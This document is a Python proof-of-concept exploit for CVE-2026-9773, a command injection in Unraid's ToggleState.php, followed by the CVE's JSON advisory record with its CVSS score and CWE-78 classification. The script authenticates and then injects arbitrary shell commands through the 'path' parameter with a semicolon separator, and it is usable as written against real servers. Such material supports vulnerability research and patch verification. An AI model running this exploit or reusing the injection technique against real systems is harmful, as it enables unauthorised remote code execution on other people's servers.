CVE-2026-9773

# CVE-2026-9773 PoC - Unraid ToggleState Command Injection # Exploit for command injection in ToggleState.php # Requires valid authentication credentials import requests import sys TARGET_URL = "https://target-unraid-server" USERNAME = "root" # or any valid Unraid user PASSWORD = "password" def exploit(target_url, username, password, cmd): """ Exploit CVE-2026-9773: Command injection in ToggleState.php The vulnerability exists due to lack of input validation before passing user-supplied string to system() call. """ session = requests.Session() # Step 1: Authenticate to Unraid Web Interface login_url = f"{target_url}/login" login_data = { "username": username, "password": password } resp = session.post(login_url, data=login_data, verify=False) if resp.status_code != 200: print("[!] Authentication failed") return False print("[*] Authenticated successfully") # Step 2: Exploit command injection in ToggleState.php # Inject OS command via semicolon separator toggle_url = f"{target_url}/ToggleState.php" payload = f"state; {cmd}" params = { "path": payload, # vulnerable parameter "action": "apply" } resp = session.get(toggle_url, params=params, verify=False) print(f"[*] Exploit sent. Status: {resp.status_code}") print(f"[*] Response: {resp.text[:500]}") return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <command>") print(f"Example: {sys.argv[0]} 'id'") sys.exit(1) cmd = sys.argv[1] exploit(TARGET_URL, USERNAME, PASSWORD, cmd)

{"cve": {"id": "CVE-2026-9773", "sourceIdentifier": "[email protected]", "published": "2026-06-24T22:16:49.920", "lastModified": "2026-06-25T14:23:56.107", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unraid Web Server ToggleState Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Unraid. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within ToggleState.php. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the www-data user. Was ZDI-CAN-30134."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Unraid", "product": "Unraid", "defaultStatus": "unknown", "versions": [{"version": "1161ec120", "status": "affected"}]}]}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-25T12:55:40.571043Z", "id": "CVE-2026-9773", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-386/", "source": "[email protected]"}]}}